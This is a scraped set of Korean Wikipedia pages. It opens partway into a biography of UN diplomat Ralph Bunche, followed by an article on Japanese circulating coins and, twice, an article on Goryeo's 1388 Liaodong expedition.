존슨에 의하여 길러졌다. 학창 시절[편집] 번치는 훌륭한 학생으로 증명되는 데 육상에 뛰어났고, 졸업생 대표로서 제퍼슨 고등학교를 졸업하였다. 그는 장학금에 캘리포니아 대학교의 남부 지점(현재의 캘리포니아 대학교 로스앤젤레스)에서 수학하며 다양한 스포츠에서 활약하였고, 추가적 비용들을 위하여 내는 데 문지기로 일하였다. 그는 대학 군사 프로그램을 향하여 무임 승선자로서 애써 나간 후, 여름 동안에 선원의 일부로서 일하기도 하였다. 1927년 파이·베타·캐파의 일원과 졸업생 대표로서 졸업하였다. 그는 하버드 대학교에 들어가 문학사(1928년)와 정부/국제 관계에서 철학박사(1934년)를 취득하면서 정치학 박사 학위를 따는 데 첫 아프리카계 미국인이 되었다. 1928년 그는 하워드 대학교의 학부에도 가입하였으며, 이어서 그들의 정치학부를 발포하는 데 도움을 주었다. 후에 그는 런던 경제 대학과 케이프타운 대학교 같은 학회에서 대학원의 인류학 업무를 하였다. 유엔 경력[편집] 번치는 1930년대 중반에 스워스모어 칼리지의 인종 관계 학회의 합동 국장이 되었고, 1936년 〈인종의 세계 전망〉이란 책을 저서하였다. 10년간의 말기에 그는 미국에서 단호하게 인종 차별을 본 책 〈미국인의 궁지〉를 위한 자신의 연구에서 저널리스트이자 사회학자 군나르 뮈르달을 보조하기도 하였다. 제2차 세계 대전이 일어나는 동안에 번치는 국방 프로그램의 일부로 일하고, 후에 국무부에 가입하여 유엔의 형성에서 주요 인물이 되었다. 그는 결국 국제 기구의 사무국에 가입하기 위하여 국무부를 떠났다. 노벨 평화상 수상[편집] 1949년 휴전 협정을 청취한 유엔의 인사부를 위하여 번치가 발행한 통행권 번치의 주요 성과들 중의 하나는 1947년부터 1949년까지 아랍과 이스라엘의 군대 사이에 주요 논쟁의 현장 팔레스타인에 평화를 가져오는 데 그의 노력들이었다. 자신의 감독이자 중재자 폴케 베르나도테가 테러 공격에 사망한 후, 번치는 로도스 섬에 회담으로 지도하는 데 요구되었다. 장기적 협상 진행은 양쪽과 함께 외교관이 기꺼이 만나면서 규정이 지어졌다. 휴전 협정은 1949년에 맺어졌다. 번치는 이듬해 노벨 평화상을 수상하였으며, 상을 타는 데 아프리카계 미국인 처음이자 세계에서 첫번째 유색인(흑인)이 되었다. 이어서 해리 트루먼 대통령이 번치를 국무부의 보조 장관이 되기를 원했어도 번치는 제공을 거절하고, 아직도 국가의 수도를 다스린 인종적으로 분리된 정책들을 인용하였다. 브롱크스 우드론 묘지에 있는 번치의 묘비 지속적인 인도주의적 노력들[편집] 번치의 활동은 지속적으로 전투에 협상의 힘과 외교에서 자신의 믿음에 의하여 알려졌다. 1950년대의 말기로 향하여 그는 특별 정세를 위한 유엔의 차관이 되었고, 1956년 수에즈 위기에서 수천명의 비전투적, 중립 군사들의 급파를 감시하였다. 군인들이 전쟁에 원조하지 않고 평화를 유지하는 데 쓰이면서 번치는 이 노력을 자신이 해낸 "단 하나의 가장 만족한 업무"로 인용하였다. 번치는 1960년대로 들어가 자신의 근무를 지속하였으며, 콩고(자이르), 키프로스와 바레인에서 분쟁의 중단을 지휘하였다. 국내적으로 번치는 또한 20년 이상이나 유색인의 촉진을 위한 국립 협회의 위원 중의 일부로 복무하였고, 흑인 인권 운동의 다른 노력들에 참가하기도 하였다. 신장과 심장을 포함한 다수의 병을 겪은 번치는 1971년 12월 9일 뉴욕에서 사망하였다. 자신의 경력에 그는 4배 이상의 명예 박사 학위와 대통령 자유 훈장을 포함한 수많은 영예를 받았다. 외부 링크[편집] 위키미디어 공용에 관련된미디어 자료가 있습니다. 랠프 번치 위키인용집에 이 문서와관련된 문서가 있습니다. 랠프 번치 노벨 위원회 홈페이지의 랠프 번치 소개 랠프 번치의 전기 vdeh 노벨 평화상 수상자경제학상 | 문학상 | 물리학상 | 생리 의학상 | 평화상 | 화학상1901 – 1925 1901: 앙리 뒤낭 / 프레데리크 파시 1902: 엘리 뒤코묑 / 샤를 고바 1903: 윌리엄 랜들 크리머 1904: 국제법 학회 1905: 베르타 폰 주트너 1906: 시어도어 루스벨트 1907: 에르네스토 모네타 / 루이 르노 1908: 클라스 아르놀드손 / 프레드리크 바예르 1909: A. M. F. 베르나르트 / 폴 데스투르넬 드 콩스탕 1910: 국제 평화국 1911: 토비아스 아서르 / 알프레트 프리트 1912: 엘리후 루트 1913: 앙리 라퐁텐 1917: 국제 적십자 위원회 1919: 우드로 윌슨 1920: 레옹 부르주아 1921: 얄마르 브란팅 / 크리스티안 랑에 1922: 프리티오프 난센 1925: 오스틴 체임벌린 / 찰스 도스 1926 – 1950 1926: 아리스티드 브리앙 / 구스타프 슈트레제만 1927: 페르디낭 뷔송 / 루트비히 크비데 1929: 프랭크 빌링스 켈로그 1930: 나탄 셰데르블롬 1931: 제인 애덤스 / 니컬러스 버틀러 1933: 노먼 에인절 1934: 아서 헨더슨 1935: 카를 폰 오시에츠키 1936: 카를로스 사베드라 라마스 1937: 로버트 세실 1938: 난센 국제 난민 사무소 1944: 국제 적십자 위원회 1945: 코델 헐 1946: 에밀리 볼치 / 존 롤리 모트 1947: 영국 퀘이커 봉사 협회 / 미국 퀘이커 봉사 위원회 1949: 존 보이드 오어 1950: 랠프 번치 1951 – 1975 1951: 레옹 주오 1952: 알베르트 슈바이처 1953: 조지 마셜 1954: 유엔 난민 기구 1957: 레스터 B. 피어슨 1958: 도미니크 피르 1959: 필립 노엘베이커 1960: 앨버트 루툴리 1961: 다그 함마르셸드 1962: 라이너스 폴링 1963: 국제 적십자 위원회 / 국제 적십자사 연맹 1964: 마틴 루터 킹 주니어 1965: 유니세프 1968: 르네 카생 1969: 국제 노동 기구 1970: 노먼 볼로그 1971: 빌리 브란트 1973: 헨리 키신저 / 레득토 (수상 거부) 1974: 숀 맥브라이드 / 사토 에이사쿠 1975: 안드레이 사하로프 1976 – 2000 1976: 베티 윌리엄스 / 메어리드 코리건 1977: 국제사면위원회 1978: 안와르 사다트 / 메나헴 베긴 1979: 테레사 수녀 1980: 아돌포 페레스 에스키벨 1981: 유엔 난민 기구 1982: 알바 뮈르달 / 알폰소 가르시아 로블레스 1983: 레흐 바웬사 1984: 데즈먼드 투투 1985: 핵전쟁 방지 국제 의사회 1986: 엘리 위젤 1987: 오스카르 아리아스 1988: 유엔 평화유지군 1989: 제14대 달라이 라마 1990: 미하일 고르바초프 1991: 아웅산수찌 1992: 리고베르타 멘추 1993: 넬슨 만델라 / F. W. 데 클레르크 1994: 야세르 아라파트 / 시몬 페레스 / 이츠하크 라빈 1995: 퍼그워시 회의 / 조지프 로트블랫 1996: 카를루스 벨루 / 조제 하무스 오르타 1997: 지뢰 금지 국제 운동 / 조디 윌리엄스 1998: 존 흄 / 데이비드 트림블 1999: 국경없는의사회 2000: 김대중 2001 – 현재 2001: 유엔 / 코피 아난 2002: 지미 카터 2003: 시린 에바디 2004: 왕가리 마타이 2005: 국제 원자력 기구 / 무함마드 엘바라데이 2006: 그라민 은행 / 무함마드 유누스 2007: 앨 고어 / 기후 변화에 관한 정부간 패널 2008: 마르티 아티사리 2009: 버락 오바마 2010: 류샤오보 2011: 엘런 존슨설리프 / 리마 보위 / 타우왁쿨 카르만 2012: 유럽 연합 2013: 화학 무기 금지 기구 2014: 카일라시 사티아르티 / 말랄라 유사프자이 2015: 튀니지 국민 4자 대화 기구 2016: 후안 마누엘 산토스 2017: 핵무기 폐기 국제 운동 2018: 드니 무퀘게 / 나디아 무라드 전거 통제 WorldCat VIAF: 46805351 LCCN: n50045583 ISNI: 0000 0000 8124 8972 GND: 118664956 SUDOC: 030457165 BNF: cb121867657 (데이터) BIBSYS: 90575775 NKC: ola2002158004 원본 주소 "https://ko.wikipedia.org/w/index.php?title=랠프_번치&oldid=23296869" 분류: 1903년 태어남1971년 죽음미국의 정치학자미국의 외교관미시간주 출신 정치인노벨 평화상 수상자미국의 노벨상 수상자아프리카계 미국인캘리포니아 대학교 로스앤젤레스 동문하버드 대학교 동문대통령 자유 훈장 수상자하버드 대학교 교수하워드 대학교 교수아일랜드계 미국인디트로이트 출신미국의 유엔 직원숨은 분류: VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서ISNI 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서BIBSYS 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةБеларускаяБеларуская (тарашкевіца)‎БългарскиCatalàČeštinaDanskDeutschEnglishEspañolEestiفارسیSuomiFrançaisगोंयची कोंकणी / Gõychi KonknniעבריתInterlinguaBahasa IndonesiaItaliano日本語KurdîМонголBahasa MelayuNederlandsNorskPolskiپنجابیPortuguêsРусскийScotsSimple EnglishSlovenščinaSvenskaKiswahiliTagalogTürkçeТатарча/tatarçaУкраїнськаاردوTiếng ViệtWinarayYorùbá中文 링크 편집 이 문서는 2018년 12월 20일 (목) 09:31에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
일본의 주화 - 위키백과, 우리 모두의 백과사전 일본의 주화 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 일본의 주화 문서에서는 일본에서 유통되고 있는 주화와 유통된 적이 있는 주화에 관해 서술해 놓았다. 목차 1 현재 유통되고 있는 주화 2 발행 개수가 적은 주화 3 연혁 4 기념 주화 5 외부 링크 현재 유통되고 있는 주화[편집] 현재 일본에서 제조, 발행, 유통되는 주화는 유통 목적으로 만들어지는 1엔 동전, 5엔 동전, 10엔 동전, 50엔 동전, 100엔 동전, 500엔 동전과 기념 화폐로 나눌 수 있다. 하지만 기념 주화는 거의 유통되지 않는다. 화폐의 발행에 관한 업무는 정부에서 맡고 있고, 재무 대신은 화폐의 제조에 관한 사무를 조폐국에게 위임, 감독하고 있다. 주화 이름 질량 및 크기 특징 재료 1엔 동전 지름:20mm무게:1g두께:1.54mm 앞면:새싹, 일본국, 일엔 한자 표시. 뒷면:아라비아 숫자 1과 연호 표시. 알루미늄 5엔 동전 지름:22mm구멍 지름:5mm무게:3.7g두께:1.5mm 앞면:벼 이삭, 오엔 한자 표시. 뒷면:일본국, 연호 표시. 구멍 있음. 황동 10엔 동전 지름:23.5mm무게:4.5g두께:1.3mm 앞면:평등원 봉황당 그림과 일본국, 십엔 한자 표시. 뒷면:월계수 잎 그림, 아라비아 숫자 10과 연호 표시. 청동 50엔 동전 지름:21mm구멍 지름:4mm무게:4g두께:1.5mm 앞면:국화 그림과 일본국, 오십엔 한자 표시. 뒷면:아라비아 숫자 50과 연호 표시. 구멍 있음. 백동 100엔 동전 지름:22.6mm무게:4.8g두께:1.7mm 앞면:벚꽃, 일본국, 백엔 한자 표시. 뒷면:아라비아 숫자 100과 연호 표시. 백동 500엔 동전 지름:26.5mm무게:7g두께:2.0mm 앞면:일본국과 오백엔 한자 표시. 뒷면:아라비아 숫자 500과 연호 표시. 니켈 황동 발행 개수가 적은 주화[편집] 주화의 발행 개수는 같을 수도 있지만 대체로 해마다 차이가 있다. 현재 유통 되고 있는 주화 가운데 비교적 발행 개수의 적은 것은 아래와 같다. 그리고 거의 매년 프루프 처리를 한 프루프 주화나 민트 세트라 불리는 주화 세트도 조폐국에서 판매되고 있다. 이들 주화는 유통용이 아닌 수집용으로 만들어지기 때문에 발행량이 대체로 적다. 일엔 헤이세이 12년 헤이세이 13년 헤이세이 14년 오엔 쇼와 27년 쇼와 28년 쇼와 32년 쇼와 33년 쇼와 34년 쇼와 35년 쇼와 42년 헤이세이 12년 십엔 쇼와 26년 쇼와 32년 쇼와 33년 쇼와 34년 오십엔 쇼와 60년 쇼와 61년 쇼와 62년(전량 주화 세트로 판매) 헤이세이 13년 헤이세이 14년 헤이세이 15년 백엔 헤이세이 13년 헤이세이 14년 오백엔 쇼와 62년 쇼와 64년 연혁[편집] 이 문단은 비어있습니다. 내용을 추가해 주세요. 기념 주화[편집] 이 문단은 비어있습니다. 내용을 추가해 주세요. 외부 링크[편집] 일본 조폐국 近現代日本のお金 vdeh 일본의 주화    1엔 동전 5엔 동전 10엔 동전 50엔 동전 100엔 동전 500엔 동전 제조: 일본 조폐국 원본 주소 "https://ko.wikipedia.org/w/index.php?title=일본의_주화&oldid=24086862" 분류: 일본의 주화숨은 분류: 빈 문단이 포함된 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 日本語 링크 편집 이 문서는 2019년 4월 22일 (월) 18:40에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
요동 정벌 - 위키백과, 우리 모두의 백과사전 요동 정벌 위키백과, 우리 모두의 백과사전. (요동정벌에서 넘어옴) 둘러보기로 가기 검색하러 가기 요동 정벌(遼東 征伐)은 1388년 명나라가 철령 이북 지역에 철령위를 설치하려는 것에 반발하여 고려가 요동을 경략(經略)하기 위해 일으킨 전쟁이다. 그러나, 이는 위화도 회군으로 이어져 고려를 멸망시키는 결과를 가져왔다. 조선 건국 후 태조 이성계와 정도전 역시 요동 정벌을 계획하였으나, 제1차 왕자의 난으로 실행되지 못했다. 목차 1 배경 1.1 요동 문제 1.2 철령위 문제 2 경과 3 의의 4 같이 읽기 5 각주 배경[편집] 요동 문제[편집] 요동은 남만주(南滿州) 요하(遼河)의 동쪽 지방으로, 요동반도(랴오둥 반도)를 중심으로 한 이 일대는 한민족(韓民族)과 한족(漢族), 북방 민족 사이의 쟁탈 지역이 되어 왔다. 본래 고조선의 영역이었으나, 고조선이 기원전 290년경에 연나라 장수 진개와의 전쟁에 패해 서쪽 경계가 2천리 동쪽으로 이동함으로써 고조선의 판도에서 벗어났다. 전국시대 후반에 연나라가 고조선을 침략해 이 지방을 점령한 후, 진나라가 중국을 통일하면서 진나라의 영토가 되었다.[1] 한나라는 여기에 요동군(遼東郡)을 설치하였는데, 313년에 고구려의 미천왕이 한사군을 몰아내고 402년에 광개토대왕이 요동을 점령함으로써 고구려의 영토가 되었다. 고구려는 요양에 요동성을 쌓고 한족(漢族)과 북방 민족을 방어하는 요새지로 삼았다. 612년에 수 양제가 대군을 이끌고 공격하였으나 함락시키지 못하고 돌아갔다. 645년에는 당 태종이 요동성을 함락시켰으나, 안시성(安市城)에서 격퇴되어 물러났다. 668년에 고구려가 멸망한 후 요동은 당나라의 지배하에 들어갔다. 698년에 건국된 발해가 요동을 경략하여 200여년간 발해의 영토로 들어갔다. 926년에 발해가 멸망하면서 요나라의 영토가 되었으며, 이후 금나라, 원나라가 지배하였다. 철령위 문제[편집] 쌍성총관부, 동녕부, 철령위 문서를 참고하십시오. 원·명 교체기에 명나라는 요동도지휘사사(遼東都指揮使司)를 두어 요동을 포함한 만주 경략을 꾀하였는데, 그 과정에서 고려와 여러 가지 알력이 생기게 되었다. 고려는 1356년(공민왕 5년)에 철령을 넘어 쌍성총관부를 수복하고, 이후 관서 지방(關西地方)과 관북 지방(關北地方) 북쪽으로 영토를 넓혀가고 있었다. 1369년(공민왕 18년) 음력 12월 고려에서는 이인임을 총지휘관으로 하여 원나라의 동녕부를 치게 하였다. 동북면 원수 이성계는 1370년 음력 1월 압록강과 파저강(婆猪江)을 건너 이오로티무르(李吾魯帖木兒)가 지키는 우라산성(于羅山城)을 포위 공격하여 항복을 받았으며, 같은 해 11월에는 서북면 원수 지용수와 합세하여 요동의 중심지인 요양(遼陽)을 공격하여 성을 빼앗았다. 그러나 이는 고려의 장기적인 점령으로 이어지지 못했고, 부근 주민들에게 고려에 귀순할 것을 권고하고 회군하였다. 이 과정에서 고려는 외교적으로 반원친명 정책을 폈다. 그러나, 공민왕 사후 요동을 점령한 명나라가 상당한 군사력을 가진 고려를 견제하기 위해 감당키 어려운 세공(歲貢)을 요구하면서 고려와 명의 관계가 틀어졌다. 1387년(우왕 13년), 명나라가 고려 사신의 입국을 거부하였고, 이에 따라 1388년 음력 2월 귀국한 설장수(楔長壽)는 '명(明)이 철령(鐵嶺) 이북의 땅을 차지하려 한다'고 전하였다. 1388년(우왕 14년) 음력 3월, 명나라가 철령위 설치에 착수했다는 보고를 받은 우왕은 8도의 정예 병사 징발을 명령하고, 스스로 평안도로 행차하겠다고 나서면서 요동 공격 준비를 본격화하였다.[2] 고려 조정은 막강한 신흥세력인 명나라와의 외교적 타협으로 문제를 해결할 것을 주장하는 주화파(主和派)와 명나라의 지나친 요구에 반감을 품고 북원과 손을 잡고 요동(遼東)을 쳐서 명나라에 본때를 보이는 실력행사를 하자는 주전파(主戰派)로 의견이 갈렸다. 경과[편집] 위화도 회군 문서를 참고하십시오. 농사철을 앞둔 군사 징발에 왜구의 침탈 등으로 어려움을 겪던 백성들의 원성(怨聲)은 이인임·임견미·염흥방 일파의 전횡시대보다 더 컸다. 그러나, 시중(侍中) 최영(崔瑩)은 팔도도통사(八道都統使)가 되어 음력 4월에 주전론(主戰論)을 지지하는 우왕과 더불어 평양으로 떠났고, 조민수를 좌군도통사(左軍都統使), 이성계를 우군도통사(右軍都統使)로 하여 좌우군 3만8,830명 등 5만여 병력(10만명이라는 설도 있음)을 요동으로 떠나게 하였다. 우왕이 봉산에 가서 최영과 이성계를 불러 처음 요동 정벌 계획을 알렸을 때(음력 4월 1일), 이미 이성계는 네 가지 이유를 들어 이를 반대했으나 우왕은 묵살했다. 이때 이성계 일파의 4불가론(四不可論)은 다음과 같다. 작은 나라가 큰 나라를 거역하는 것 (以小逆大) (농번기인) 여름에 출병하는 것 (夏月發兵) 원정군이 나가면 왜구가 그 빈틈을 노릴 염려가 있는 것 (擧國遠征, 倭乘其虛) 장마철에는 활이 제 기능을 발휘하지 못하고 전염병 발생의 우려가 있는 것 (時方暑雨, 弓弩膠解, 大軍疾疫) 우왕과 최영은 반대여론을 억누르고 출병을 강행하였다. 1388년 음력 4월 18일, 고려는 전국에서 좌우군 3만8,830명, 수송대 1만1,634명, 말 2만1,682필을 동원해 요동 정벌에 나섰고, 우왕이 직접 평양까지 나가 격려하였다. 그러나, 총사령관인 팔도도통사 최영은 국내에서의 역모를 걱정한 우왕의 고집으로 전선에 나서지 않고 평양에 남게 되었다. 1388년 음력 5월 22일, 압록강의 위화도에서 우군도통사였던 이성계가 좌군도통사인 조민수를 회유하여 전군(全軍)을 회군시켰다.(→위화도 회군) 돌연한 회군에 우왕과 최영은 평양에서 개경으로 급히 귀경하여 반란군에 대항하였으나, 이성계의 반란군은 최영을 체포하고 권력을 장악했다. 최영은 고봉현(高峰縣: 현재의 고양시)으로 유배되었다가 개경에서 참형되었으며, 우왕도 폐위되었다. 의의[편집] 이 사건은 고려의 테두리 안에서 개혁을 통해 나라를 재건하려던 최영을 대표로 하는 보수 세력(권문세족, 문벌귀족, 불교)과 이성계를 중심으로 새로운 나라를 꿈꾸는 신진 세력(신흥 무인, 신진사대부, 유교)의 충돌이 빚은 사건이었다. 이 사건 이후 고려의 권력을 장악한 이성계는 4년 뒤 조선을 건국하였다. 같이 읽기[편집] 최영 이성계 고려 우왕 위화도 회군 각주[편집] ↑ 요동 반도(랴오둥 반도)는 고조선이 한나라에 멸망한 기원전 108년까지 고조선의 세력 하에 있었다는 이설이 있다. ↑ 명장 최영, 왜 이성계에게 당했나 오마이뉴스, 2012년 11월 1일. 이 문서에는 다음커뮤니케이션(현 카카오)에서 GFDL 또는 CC-SA 라이선스로 배포한 글로벌 세계대백과사전의 내용을 기초로 작성된 글이 포함되어 있습니다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=요동_정벌&oldid=24488053" 분류: 1388년 한국고려의 군사고려-명나라 관계조선의 대외 관계중국-한국 관계조선 태조숨은 분류: 글로벌세계대백과를 인용한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 6월 26일 (수) 22:38에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
요동 정벌 - 위키백과, 우리 모두의 백과사전 요동 정벌 위키백과, 우리 모두의 백과사전. (요동정벌에서 넘어옴) 둘러보기로 가기 검색하러 가기 요동 정벌(遼東 征伐)은 1388년 명나라가 철령 이북 지역에 철령위를 설치하려는 것에 반발하여 고려가 요동을 경략(經略)하기 위해 일으킨 전쟁이다. 그러나, 이는 위화도 회군으로 이어져 고려를 멸망시키는 결과를 가져왔다. 조선 건국 후 태조 이성계와 정도전 역시 요동 정벌을 계획하였으나, 제1차 왕자의 난으로 실행되지 못했다. 목차 1 배경 1.1 요동 문제 1.2 철령위 문제 2 경과 3 의의 4 같이 읽기 5 각주 배경[편집] 요동 문제[편집] 요동은 남만주(南滿州) 요하(遼河)의 동쪽 지방으로, 요동반도(랴오둥 반도)를 중심으로 한 이 일대는 한민족(韓民族)과 한족(漢族), 북방 민족 사이의 쟁탈 지역이 되어 왔다. 본래 고조선의 영역이었으나, 고조선이 기원전 290년경에 연나라 장수 진개와의 전쟁에 패해 서쪽 경계가 2천리 동쪽으로 이동함으로써 고조선의 판도에서 벗어났다. 전국시대 후반에 연나라가 고조선을 침략해 이 지방을 점령한 후, 진나라가 중국을 통일하면서 진나라의 영토가 되었다.[1] 한나라는 여기에 요동군(遼東郡)을 설치하였는데, 313년에 고구려의 미천왕이 한사군을 몰아내고 402년에 광개토대왕이 요동을 점령함으로써 고구려의 영토가 되었다. 고구려는 요양에 요동성을 쌓고 한족(漢族)과 북방 민족을 방어하는 요새지로 삼았다. 612년에 수 양제가 대군을 이끌고 공격하였으나 함락시키지 못하고 돌아갔다. 645년에는 당 태종이 요동성을 함락시켰으나, 안시성(安市城)에서 격퇴되어 물러났다. 668년에 고구려가 멸망한 후 요동은 당나라의 지배하에 들어갔다. 698년에 건국된 발해가 요동을 경략하여 200여년간 발해의 영토로 들어갔다. 926년에 발해가 멸망하면서 요나라의 영토가 되었으며, 이후 금나라, 원나라가 지배하였다. 철령위 문제[편집] 쌍성총관부, 동녕부, 철령위 문서를 참고하십시오. 원·명 교체기에 명나라는 요동도지휘사사(遼東都指揮使司)를 두어 요동을 포함한 만주 경략을 꾀하였는데, 그 과정에서 고려와 여러 가지 알력이 생기게 되었다. 고려는 1356년(공민왕 5년)에 철령을 넘어 쌍성총관부를 수복하고, 이후 관서 지방(關西地方)과 관북 지방(關北地方) 북쪽으로 영토를 넓혀가고 있었다. 1369년(공민왕 18년) 음력 12월 고려에서는 이인임을 총지휘관으로 하여 원나라의 동녕부를 치게 하였다. 동북면 원수 이성계는 1370년 음력 1월 압록강과 파저강(婆猪江)을 건너 이오로티무르(李吾魯帖木兒)가 지키는 우라산성(于羅山城)을 포위 공격하여 항복을 받았으며, 같은 해 11월에는 서북면 원수 지용수와 합세하여 요동의 중심지인 요양(遼陽)을 공격하여 성을 빼앗았다. 그러나 이는 고려의 장기적인 점령으로 이어지지 못했고, 부근 주민들에게 고려에 귀순할 것을 권고하고 회군하였다. 이 과정에서 고려는 외교적으로 반원친명 정책을 폈다. 그러나, 공민왕 사후 요동을 점령한 명나라가 상당한 군사력을 가진 고려를 견제하기 위해 감당키 어려운 세공(歲貢)을 요구하면서 고려와 명의 관계가 틀어졌다. 1387년(우왕 13년), 명나라가 고려 사신의 입국을 거부하였고, 이에 따라 1388년 음력 2월 귀국한 설장수(楔長壽)는 '명(明)이 철령(鐵嶺) 이북의 땅을 차지하려 한다'고 전하였다. 1388년(우왕 14년) 음력 3월, 명나라가 철령위 설치에 착수했다는 보고를 받은 우왕은 8도의 정예 병사 징발을 명령하고, 스스로 평안도로 행차하겠다고 나서면서 요동 공격 준비를 본격화하였다.[2] 고려 조정은 막강한 신흥세력인 명나라와의 외교적 타협으로 문제를 해결할 것을 주장하는 주화파(主和派)와 명나라의 지나친 요구에 반감을 품고 북원과 손을 잡고 요동(遼東)을 쳐서 명나라에 본때를 보이는 실력행사를 하자는 주전파(主戰派)로 의견이 갈렸다. 경과[편집] 위화도 회군 문서를 참고하십시오. 농사철을 앞둔 군사 징발에 왜구의 침탈 등으로 어려움을 겪던 백성들의 원성(怨聲)은 이인임·임견미·염흥방 일파의 전횡시대보다 더 컸다. 그러나, 시중(侍中) 최영(崔瑩)은 팔도도통사(八道都統使)가 되어 음력 4월에 주전론(主戰論)을 지지하는 우왕과 더불어 평양으로 떠났고, 조민수를 좌군도통사(左軍都統使), 이성계를 우군도통사(右軍都統使)로 하여 좌우군 3만8,830명 등 5만여 병력(10만명이라는 설도 있음)을 요동으로 떠나게 하였다. 우왕이 봉산에 가서 최영과 이성계를 불러 처음 요동 정벌 계획을 알렸을 때(음력 4월 1일), 이미 이성계는 네 가지 이유를 들어 이를 반대했으나 우왕은 묵살했다. 이때 이성계 일파의 4불가론(四不可論)은 다음과 같다. 작은 나라가 큰 나라를 거역하는 것 (以小逆大) (농번기인) 여름에 출병하는 것 (夏月發兵) 원정군이 나가면 왜구가 그 빈틈을 노릴 염려가 있는 것 (擧國遠征, 倭乘其虛) 장마철에는 활이 제 기능을 발휘하지 못하고 전염병 발생의 우려가 있는 것 (時方暑雨, 弓弩膠解, 大軍疾疫) 우왕과 최영은 반대여론을 억누르고 출병을 강행하였다. 1388년 음력 4월 18일, 고려는 전국에서 좌우군 3만8,830명, 수송대 1만1,634명, 말 2만1,682필을 동원해 요동 정벌에 나섰고, 우왕이 직접 평양까지 나가 격려하였다. 그러나, 총사령관인 팔도도통사 최영은 국내에서의 역모를 걱정한 우왕의 고집으로 전선에 나서지 않고 평양에 남게 되었다. 1388년 음력 5월 22일, 압록강의 위화도에서 우군도통사였던 이성계가 좌군도통사인 조민수를 회유하여 전군(全軍)을 회군시켰다.(→위화도 회군) 돌연한 회군에 우왕과 최영은 평양에서 개경으로 급히 귀경하여 반란군에 대항하였으나, 이성계의 반란군은 최영을 체포하고 권력을 장악했다. 최영은 고봉현(高峰縣: 현재의 고양시)으로 유배되었다가 개경에서 참형되었으며, 우왕도 폐위되었다. 의의[편집] 이 사건은 고려의 테두리 안에서 개혁을 통해 나라를 재건하려던 최영을 대표로 하는 보수 세력(권문세족, 문벌귀족, 불교)과 이성계를 중심으로 새로운 나라를 꿈꾸는 신진 세력(신흥 무인, 신진사대부, 유교)의 충돌이 빚은 사건이었다. 이 사건 이후 고려의 권력을 장악한 이성계는 4년 뒤 조선을 건국하였다. 같이 읽기[편집] 최영 이성계 고려 우왕 위화도 회군 각주[편집] ↑ 요동 반도(랴오둥 반도)는 고조선이 한나라에 멸망한 기원전 108년까지 고조선의 세력 하에 있었다는 이설이 있다. ↑ 명장 최영, 왜 이성계에게 당했나 오마이뉴스, 2012년 11월 1일. 이 문서에는 다음커뮤니케이션(현 카카오)에서 GFDL 또는 CC-SA 라이선스로 배포한 글로벌 세계대백과사전의 내용을 기초로 작성된 글이 포함되어 있습니다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=요동_정벌&oldid=24488053" 분류: 1388년 한국고려의 군사고려-명나라 관계조선의 대외 관계중국-한국 관계조선 태조숨은 분류: 글로벌세계대백과를 인용한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 6월 26일 (수) 22:38에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 